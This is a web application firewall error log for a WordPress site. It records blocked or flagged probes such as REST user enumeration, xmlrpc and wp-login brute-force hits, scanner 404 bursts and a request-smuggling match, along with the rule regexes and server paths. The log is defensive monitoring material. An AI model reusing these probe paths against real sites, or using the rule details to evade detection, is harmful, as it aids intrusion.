[Tue Mar 17 02:20:48.026866 2026] [:error] [pid 9635:tid 9656] [client 43.166.240.231:39168] [client 43.166.240.231] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abhKAHsAHChuwZxGaSj47gAAAVM"]
[Tue Mar 17 02:54:48.674045 2026] [:error] [pid 9635:tid 9637] [client 169.224.36.182:12548] [client 169.224.36.182] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abhR-HsAHChuwZxGaSgMuwAAAUA"]
[Tue Mar 17 02:55:38.562377 2026] [:error] [pid 3200:tid 3206] [client 169.224.36.182:12768] [client 169.224.36.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 169.224.36.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abhSKlFOeKiNLMuAjedRTwAAAQQ"]
[Tue Mar 17 02:59:25.714429 2026] [:error] [pid 45424:tid 45556] [client 177.129.251.41:18800] [client 177.129.251.41] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abhTDYBy2Qv_YY3oWK7KFgAAAEw"]
[Tue Mar 17 03:00:56.327990 2026] [:error] [pid 3200:tid 3207] [client 177.129.251.41:42396] [client 177.129.251.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.129.251.41, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abhTaFFOeKiNLMuAjedT_QAAAQU"]
[Tue Mar 17 04:26:58.315770 2026] [:error] [pid 22541:tid 22552] [client 20.120.91.203:34522] [client 20.120.91.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "abhnkqS6JNY1-CTsTA-6hgAAAQY"]
[Tue Mar 17 04:27:04.599759 2026] [:error] [pid 45916:tid 45970] [client 20.120.91.203:34710] [client 20.120.91.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "abhnmLiS53PnClk_C9DY1AAAAEg"]
[Tue Mar 17 04:27:09.072728 2026] [:error] [pid 45915:tid 45931] [client 20.120.91.203:34719] [client 20.120.91.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "abhnnZh7U84ydzcrcnft9AAAAAI"]
[Tue Mar 17 04:27:12.056704 2026] [:error] [pid 46020:tid 46032] [client 20.120.91.203:34706] [client 20.120.91.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "abhnoH-nCcd9BdzGdLe9hQAAAMo"]
[Tue Mar 17 07:42:19.733962 2026] [:error] [pid 46020:tid 46038] [client 43.156.232.190:59642] [client 43.156.232.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abiVW3-nCcd9BdzGdLczjgAAANA"]
[Tue Mar 17 07:56:17.962735 2026] [:error] [pid 15013:tid 15085] [client 185.223.152.126:21039] [client 185.223.152.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abiYoVZc-p7DonmJmm2V5gAAAgg"]
[Tue Mar 17 08:13:40.683621 2026] [:error] [pid 14929:tid 14960] [client 196.98.145.116:55113] [client 196.98.145.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.98.145.116, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abictPTUDuLSLjNnyauk-gAAAZg"]
[Tue Mar 17 08:20:38.628066 2026] [:error] [pid 45916:tid 45981] [client 43.156.156.96:59620] [client 43.156.156.96] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "abieVriS53PnClk_C9AjhgAAAFM"]
[Tue Mar 17 08:36:52.463351 2026] [:error] [pid 45916:tid 45984] [client 196.98.145.116:56090] [client 196.98.145.116] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abiiJLiS53PnClk_C9AuYQAAAFY"]
[Tue Mar 17 08:38:45.701783 2026] [:error] [pid 15013:tid 15078] [client 196.98.145.116:57727] [client 196.98.145.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.98.145.116, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abiilVZc-p7DonmJmm2fxgAAAgE"]
[Tue Mar 17 13:04:16.903847 2026] [:error] [pid 45916:tid 45976] [client 36.41.75.167:34087] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abjg0LiS53PnClk_C9DLmwAAAE4"]
[Tue Mar 17 13:32:49.751472 2026] [:error] [pid 15011:tid 15055] [client 43.166.130.123:47260] [client 43.166.130.123] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "abjngcNtgHlAHiPlDyoscgAAAcY"]
[Tue Mar 17 18:01:28.081002 2026] [:error] [pid 45916:tid 45980] [client 43.165.65.180:37840] [client 43.165.65.180] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abkmeLiS53PnClk_C9BmawAAAFI"]
[Tue Mar 17 19:15:18.620638 2026] [:error] [pid 14817:tid 14847] [client 223.204.238.142:28952] [client 223.204.238.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.204.238.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abk3xuBWVgTpR3dKOgYwVwAAAVU"]
[Tue Mar 17 19:17:29.935903 2026] [:error] [pid 45915:tid 45936] [client 160.154.233.217:20905] [client 160.154.233.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.154.233.217, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abk4SZh7U84ydzcrcndrTwAAAAc"]
[Tue Mar 17 19:25:49.561610 2026] [:error] [pid 45915:tid 45944] [client 160.154.233.217:29384] [client 160.154.233.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.154.233.217, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abk6PZh7U84ydzcrcndv7gAAAA8"]
[Tue Mar 17 23:16:59.448313 2026] [:error] [pid 46020:tid 46024] [client 43.133.187.11:46780] [client 43.133.187.11] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ablwa3-nCcd9BdzGdLeptQAAAMI"]
[Tue Mar 17 23:23:34.434422 2026] [:error] [pid 14817:tid 14836] [client 170.106.113.159:42294] [client 170.106.113.159] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ablx9uBWVgTpR3dKOgaQaAAAAUo"]
[Tue Mar 17 23:46:20.929720 2026] [:error] [pid 14817:tid 14836] [client 206.189.219.241:52044] [client 206.189.219.241] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.219.241, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abl3TOBWVgTpR3dKOgaXYwAAAUo"]
[Tue Mar 17 23:46:23.738024 2026] [:error] [pid 22541:tid 22557] [client 206.189.219.241:50430] [client 206.189.219.241] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.219.241, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abl3T6S6JNY1-CTsTA9oZAAAAQs"]
[Tue Mar 17 23:52:26.862321 2026] [:error] [pid 14929:tid 14948] [client 223.204.238.142:29320] [client 223.204.238.142] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abl4uvTUDuLSLjNnyavxTQAAAYw"]
[Tue Mar 17 23:53:56.576286 2026] [:error] [pid 22541:tid 22557] [client 223.204.238.142:29323] [client 223.204.238.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.204.238.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abl5FKS6JNY1-CTsTA9sAwAAAQs"]
[Tue Mar 17 23:55:14.200690 2026] [:error] [pid 45915:tid 45942] [client 223.204.238.142:29325] [client 223.204.238.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.204.238.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abl5Yph7U84ydzcrcnfZlgAAAA0"]
[Tue Mar 17 23:56:25.946778 2026] [:error] [pid 14817:tid 14841] [client 223.204.238.142:29327] [client 223.204.238.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.204.238.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abl5qeBWVgTpR3dKOgabDQAAAU8"]
[Wed Mar 18 00:15:08.859562 2026] [:error] [pid 14817:tid 14826] [client 23.129.64.213:51235] [client 23.129.64.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:\\\\n|\\\\r)+(?:get|post|head|options|connect|put|delete|trace|propfind|propatch|mkcol|copy|move|lock|unlock)\\\\s+" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "137"] [id "217280"] [rev "6"] [msg "COMODO WAF: HTTP Request Smuggling Attack||rcacivilgroup.com|F|2"] [data "Matched Data: get found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/overview/"] [unique_id "abl-DOBWVgTpR3dKOgahOwAAAUA"], referer: http://rcacivilgroup.com/overview/#wpcf7-f451-o1
[Wed Mar 18 00:18:41.539010 2026] [:error] [pid 14817:tid 14832] [client 206.189.219.241:64312] [client 206.189.219.241] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.219.241, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abl-4eBWVgTpR3dKOgaioAAAAUY"]
[Wed Mar 18 00:26:15.149498 2026] [:error] [pid 41165:tid 41170] [client 206.189.219.241:65064] [client 206.189.219.241] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.219.241, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abmAp3EHb7dujURQaRbEXAAAAQM"]
[Wed Mar 18 00:34:06.151251 2026] [:error] [pid 40717:tid 41071] [client 206.189.219.241:55060] [client 206.189.219.241] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.219.241, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abmCfsR22EbC70ICesgC6wAAAJM"]
[Wed Mar 18 00:41:50.559905 2026] [:error] [pid 40716:tid 41033] [client 206.189.219.241:59207] [client 206.189.219.241] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.219.241, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abmEThR6i4ByUuhUBARlgQAAAEw"]
[Wed Mar 18 00:50:28.580701 2026] [:error] [pid 40716:tid 41038] [client 206.189.219.241:60961] [client 206.189.219.241] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.219.241, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abmGVBR6i4ByUuhUBARpnQAAAFE"]
[Wed Mar 18 00:54:27.358319 2026] [:error] [pid 40716:tid 41041] [client 136.144.33.83:41947] [client 136.144.33.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.83, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abmHQxR6i4ByUuhUBARrLQAAAFQ"]
[Wed Mar 18 02:23:56.349323 2026] [:error] [pid 40715:tid 40941] [client 138.197.135.138:56152] [client 138.197.135.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.135.138, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abmcPGcms0rUPgdkLiEOjgAAAAM"]
[Wed Mar 18 02:23:59.528888 2026] [:error] [pid 40715:tid 40950] [client 138.197.135.138:62917] [client 138.197.135.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.135.138, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abmcP2cms0rUPgdkLiEOkgAAAAw"]
[Wed Mar 18 02:31:32.360267 2026] [:error] [pid 40715:tid 40954] [client 106.227.49.113:56392] [client 106.227.49.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abmeBGcms0rUPgdkLiEP2wAAABA"]
[Wed Mar 18 02:55:34.411602 2026] [:error] [pid 63612:tid 63621] [client 20.39.61.185:21122] [client 20.39.61.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "abmjpu7vPBSR8vo387NXJgAAAYc"]
[Wed Mar 18 02:55:36.640309 2026] [:error] [pid 40716:tid 41043] [client 20.39.61.185:20846] [client 20.39.61.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "abmjqBR6i4ByUuhUBASZLgAAAFY"]
[Wed Mar 18 02:55:38.568334 2026] [:error] [pid 63449:tid 63474] [client 20.39.61.185:20831] [client 20.39.61.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "abmjqgplutP4IZ5mr13sfwAAAVc"]
[Wed Mar 18 02:55:40.878947 2026] [:error] [pid 40716:tid 41029] [client 20.39.61.185:20839] [client 20.39.61.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "abmjrBR6i4ByUuhUBASZRgAAAEg"]
[Wed Mar 18 03:01:13.462095 2026] [:error] [pid 63612:tid 63634] [client 138.197.135.138:58693] [client 138.197.135.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.135.138, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abmk-e7vPBSR8vo387NazgAAAZQ"]
[Wed Mar 18 03:09:33.395991 2026] [:error] [pid 41165:tid 41168] [client 138.197.135.138:63705] [client 138.197.135.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.135.138, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abmm7XEHb7dujURQaRbnFwAAAQE"]
[Wed Mar 18 03:19:39.374202 2026] [:error] [pid 63412:tid 63439] [client 138.197.135.138:54341] [client 138.197.135.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.135.138, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abmpSzKUzzFOGoXRLQ_a2QAAANc"]
[Wed Mar 18 04:18:49.626056 2026] [:error] [pid 44965:tid 45011] [client 43.132.214.228:58782] [client 43.132.214.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abm3KaNZys-oG-hM22hoRgAAAEE"]
[Wed Mar 18 04:54:48.457897 2026] [:error] [pid 45069:tid 45084] [client 43.153.71.132:52588] [client 43.153.71.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "abm_mDNzUMBULZVa94zFtQAAAM0"]
[Wed Mar 18 05:14:23.379464 2026] [autoindex:error] [pid 13676:tid 13687] [client 172.191.184.190:30859] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Mar 18 05:14:23.594300 2026] [:error] [pid 13676:tid 13678] [client 172.191.184.190:30859] [client 172.191.184.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.191.184.190, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "abnEL2xDEHR5lvAEVIjYswAAAQA"]
[Wed Mar 18 05:14:30.103339 2026] [autoindex:error] [pid 13676:tid 13681] [client 172.191.184.190:30859] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
